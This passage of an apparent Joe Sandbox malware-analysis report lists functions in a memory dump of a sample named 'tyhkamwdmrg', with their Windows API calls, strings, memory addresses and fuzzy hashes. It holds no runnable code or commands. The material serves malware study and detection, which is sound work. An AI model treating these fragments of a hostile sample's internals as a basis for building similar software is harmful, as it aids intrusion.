Instruction Fuzzy Hash: 2FE0C2B10012147EE721579F9C0CDA77FACDBC37B0B05892DF50893101D6B0AC04C2B5

Function 0032B1C0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0032D4CC,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0032B1EE

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0039C634 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(?), ref: 0039C647

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 8d6db8561e21232207cd6faaea17f2e023bdc75bdfa9a91b0d1348370089bd32
Instruction ID: 4a48b9e1b01906e175ed65b8065457cdfaf57689aaa9256bed24ed26185f747a
Opcode Fuzzy Hash: 8d6db8561e21232207cd6faaea17f2e023bdc75bdfa9a91b0d1348370089bd32
Instruction Fuzzy Hash: 52B092D0C082486EDF1297AC5D0C7953B8D5B84302F0E5AACB010C2061EFA88588E22E

Function 00329850 Relevance: 1.4, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

&%$#, xrefs: 00329875

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: InitializeThunk
String ID: &%$#
API String ID: 2994545307-3373546273
Opcode ID: 6852214cf658cbe769c06804c39863330c8b07dfd9e24a7b44e6275d6e215382
Instruction ID: 7e7f593ade38c046bd8f31ed354213218eefda2c140867b06098b3dfc52dbda5
Opcode Fuzzy Hash: 6852214cf658cbe769c06804c39863330c8b07dfd9e24a7b44e6275d6e215382
Instruction Fuzzy Hash: F65138316083609FE725CF25EC86B6BB7E1EBC5320F29C92EE4895B242D6349C45C792

Function 0032D8F0 Relevance: 1.4, Strings: 1, Instructions: 147COMMON

Download Yara Rule

Strings

5432, xrefs: 0032D9A3

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: InitializeThunk
String ID: 5432
API String ID: 2994545307-4184845939
Opcode ID: 3456fae4baca889a401af7607c397413e418f8b35a333a3fdfd37577a3ec8b6b
Instruction ID: ec44c8c4647ec2268478edbe3c161122dcd4c7a5673ebc92ada03914addcc256
Opcode Fuzzy Hash: 3456fae4baca889a401af7607c397413e418f8b35a333a3fdfd37577a3ec8b6b
Instruction Fuzzy Hash: 22314B313442119FD71B8A24EC92B7B779AEBC5334F3A862CF59A872A0D371AC52C741

Function 003FACA4 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

\\.\, xrefs: 003FAD72

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: \\.\
API String ID: 0-2900601889
Opcode ID: fbf0d83cdeba1b81e6cfc06fe78b2b5a99d3d459128c39da9e7038b5dc473d0d
Instruction ID: e46faa3fa724d062393890a16fe3429b605dd155603f80354921cc258f0e4ede
Opcode Fuzzy Hash: fbf0d83cdeba1b81e6cfc06fe78b2b5a99d3d459128c39da9e7038b5dc473d0d
Instruction Fuzzy Hash: 06512D70A006189BDB26EB64CC81BDEB7F9AF49700F1045E1E508AF292D774AF95CF91

Function 00316AA0 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: abd404d84e9c2c2580d812f5288d5805ba2d7e5a7e89a92860b2fcd58a7dfe2d
Instruction ID: 0fdaa4f8b29a7bb98b3ce101bfa9ce897d349e674aa8247fe14980f788233f2e
Opcode Fuzzy Hash: abd404d84e9c2c2580d812f5288d5805ba2d7e5a7e89a92860b2fcd58a7dfe2d
Instruction Fuzzy Hash: CE917B72B143244BC7299EA8DC827BBB3D6EBD9314F1A853CD9819B381E6749C44C7D1

Function 002F9200 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 0383c51d1d17a6d78f8270a2f69325b84ba7b0dc525e25533eb7f2e7857fd874
Instruction ID: 20feea5daa7759a02405c564ae8f100a9875a0e56c506c43f0106dab5f184014
Opcode Fuzzy Hash: 0383c51d1d17a6d78f8270a2f69325b84ba7b0dc525e25533eb7f2e7857fd874
Instruction Fuzzy Hash: 8F415833B1432957C318AEBADC9936AF5CB5FC4350F0E813D6E84CB391EAB45C094681

Function 0039ACC0 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dbabf60b5e3105b81204478276134a213c02ca571a08b05bf5f67d7f9755667
Instruction ID: f0374c797b899f97acae3d6dbe355c69f4c4f68ebf25375f07d7ceed649f7cc8
Opcode Fuzzy Hash: 5dbabf60b5e3105b81204478276134a213c02ca571a08b05bf5f67d7f9755667
Instruction Fuzzy Hash: A6110975D0161CFFCF02AB98C8849DDBBBAEF08321F104691B554AA291DB319A909B51

Function 00374490 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c874fa134747ee80e2d0d1138d337057634bf74881f544df8d6d11570a890e29
Instruction ID: 02d7efe1114e350b1c3b0f2fa03b92c5e1c169c47252283c2504470ffb033885
Opcode Fuzzy Hash: c874fa134747ee80e2d0d1138d337057634bf74881f544df8d6d11570a890e29
Instruction Fuzzy Hash: 6201A7716042585BC727EA78CC82ADA77ECDB49310F4185B5F40DDB272E774AD40C954

Function 0039C7F0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09b5d102a133842556b193053f5de286db46d1de97e982ea93665c7b990029db
Instruction ID: 1ff9501bed9bc477e53eb9479057d611c98799890af1ed143469441d266b7867
Opcode Fuzzy Hash: 09b5d102a133842556b193053f5de286db46d1de97e982ea93665c7b990029db
Instruction Fuzzy Hash: 4AD0C77710020D6BCB01EEFCDD81DDB33DC9A08610B004516BD15CB142EB74F9148770

Function 004B460C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAddAtomA.KERNEL32(?), ref: 004B4698

Strings

WndProcPtr, xrefs: 004B465E
Enigma, xrefs: 004B4683
ControlOfs, xrefs: 004B4649
Delphi, xrefs: 004B4634

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: AtomGlobal
String ID: ControlOfs$Delphi$Enigma$WndProcPtr
API String ID: 2189174293-1257653096
Opcode ID: 7eb4f131e787e3735e7ed65fefb3d7db665d205ec678335d4ff1a8ea78a64ca0
Instruction ID: 5ca46f234e9cc5eb56e71f3d911b0296dabf78465b231537abf36cb5e06f498e
Opcode Fuzzy Hash: 7eb4f131e787e3735e7ed65fefb3d7db665d205ec678335d4ff1a8ea78a64ca0
Instruction Fuzzy Hash: 1E1161707043056BE700AA718D92BAB7799DB9B704F50843AB90197787EB7CDD01C67D

Function 0032B160 Relevance: 1.5, APIs: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?,?,00000000,002FBF91,00000000,00000001), ref: 0032B192

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 03fa034f7b0b9227fea617cd42461a31eaa15214c28449874d5131022f6d8777
Instruction ID: 266093b44761601cbe0539a16a4439d2d7f4183de6181fc067f12e7dba7c30b6
Opcode Fuzzy Hash: 03fa034f7b0b9227fea617cd42461a31eaa15214c28449874d5131022f6d8777
Instruction Fuzzy Hash: 71E09B76524521BFC2131F28BC06B1B77ACEF86750F054835F8045E115DB35F811C6D1

Function 002FD408 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 002FD432

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: f55b551e6bf6387d9f17efd76e7fae5dfb28f8b65b0f92c003eacf5136fa0f24
Instruction ID: 24ea23beda82820331d425ca10859117937584c1fa28a5691465773620c41c3b
Opcode Fuzzy Hash: f55b551e6bf6387d9f17efd76e7fae5dfb28f8b65b0f92c003eacf5136fa0f24
Instruction Fuzzy Hash: F8F0B636BC932177F6398654ECA7F1521255748F21F358305BF667E6E495E43900858C

Function 003297FB Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,00000000), ref: 00329814

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 22907fcbc7db0e405e482009fc2c744bc456781472a31ed9f3748648b9ea7fa3
Instruction ID: 15470a0bf01d0ba57c24c8b957ef7a854bbee0bdf4732b4f543d8f159b33deb7
Opcode Fuzzy Hash: 22907fcbc7db0e405e482009fc2c744bc456781472a31ed9f3748648b9ea7fa3
Instruction Fuzzy Hash: 65B01230146210BCD03213110CC7FFF2C6CDF43F5AF106004B204140C007545001D07D

Function 00320AFC Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00320B40

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 3f6bb9f5a86c4a67f8ed5fc127f5670970eb5b8d25f942d0a98bc77cf1d448a0
Instruction ID: 54f1ab737adb9d6b8f5b2489bb0475302ec04bd2c6ca651bd24a5490b2108643
Opcode Fuzzy Hash: 3f6bb9f5a86c4a67f8ed5fc127f5670970eb5b8d25f942d0a98bc77cf1d448a0
Instruction Fuzzy Hash: E5F07A7450C3418FD755DF68C5A871ABBE4BBC4308F11891CE4958B390C7B59549CF82

Function 0031ED13 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0031ED5C

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 0dff44016ac51cae638033b00dcf06eeff589c9fe761205adbb546d523b93647
Instruction ID: 2819ee1a929cee9c3bd4f6fd346d3480d241c561abc4820f5cfd9b9178678834
Opcode Fuzzy Hash: 0dff44016ac51cae638033b00dcf06eeff589c9fe761205adbb546d523b93647
Instruction Fuzzy Hash: 7EF062706087019FE315DF65D5A875BBBE2BF88304F10C90CD0A54B294C7BAAA0ACF82

Function 002FD3C0 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 002FD3D3

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: c674586b573f06f1fa2b8a1815fe73c5cb70ea3694ac811ed8fb8c4259d250db
Instruction ID: 408cad7119d33135fbba003e212b09c9db6d74f3dee4556b33f6850cf85e578e
Opcode Fuzzy Hash: c674586b573f06f1fa2b8a1815fe73c5cb70ea3694ac811ed8fb8c4259d250db
Instruction Fuzzy Hash: FED097301601443BD300B35CDC87F223A1C8742322F000318F372C61D2CC906A21C161

Function 00329820 Relevance: 1.5, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,0032B1AB,?,002FBF91,00000000,00000001), ref: 0032983E

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 11606b228c2d6f89ffd6cfb325e2b896c1203f4f20549342d81fd732c2906bb9
Instruction ID: d0acc93054ae595f62156546d6e9ace831263ad23cbd132e3f2ed24c7401a89c
Opcode Fuzzy Hash: 11606b228c2d6f89ffd6cfb325e2b896c1203f4f20549342d81fd732c2906bb9
Instruction Fuzzy Hash: 8FD01231425532EFC6121F14FC06B8A3AD8EF057A0F478861F400AF071C761EC90C6D0

Non-executed Functions

Function 0032494B Relevance: 57.8, Strings: 46, Instructions: 343COMMON

Download Yara Rule

Strings

V, xrefs: 00324996
z, xrefs: 00324BD1
t, xrefs: 00324B89
!, xrefs: 00324AD9
7, xrefs: 00324A81
:, xrefs: 00324A89
N, xrefs: 00324B49
~, xrefs: 00324BA1
B, xrefs: 00324B41
z, xrefs: 00324BC1
3, xrefs: 00324A99
/, xrefs: 00324AC9
5, xrefs: 00324AF1
t, xrefs: 00324BB1
$, xrefs: 00324DC7
6, xrefs: 00324CC7
#, xrefs: 00324DCE
], xrefs: 00324B39
P, xrefs: 0032496C
R, xrefs: 00324B01
., xrefs: 00324A91
R, xrefs: 0032497A
K, xrefs: 00324B11
S, xrefs: 00324B59
(, xrefs: 00324A79
}, xrefs: 00324B79
^, xrefs: 0032495E
1, xrefs: 00324973
`, xrefs: 00324BA9
^, xrefs: 00324B51
|, xrefs: 00324B91
T, xrefs: 00324988
Q, xrefs: 00324B09
&, xrefs: 00324DB9
\, xrefs: 00324AF9
Z, xrefs: 00324B29
z, xrefs: 00324BC9
W, xrefs: 00324B21
', xrefs: 00324AE1
&, xrefs: 00324AA1
%, xrefs: 00324DC0
4, xrefs: 00324DA3
O, xrefs: 00324B61
j, xrefs: 00324BB9
s, xrefs: 00324B81
P, xrefs: 00324B69

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: !$#$$$%$&$&$'$($.$/$1$3$4$5$6$7$:$B$K$N$O$P$P$Q$R$R$S$T$V$W$Z$\$]$^$^$`$j$s$t$t$z$z$z$|$}$~
API String ID: 0-2930930431
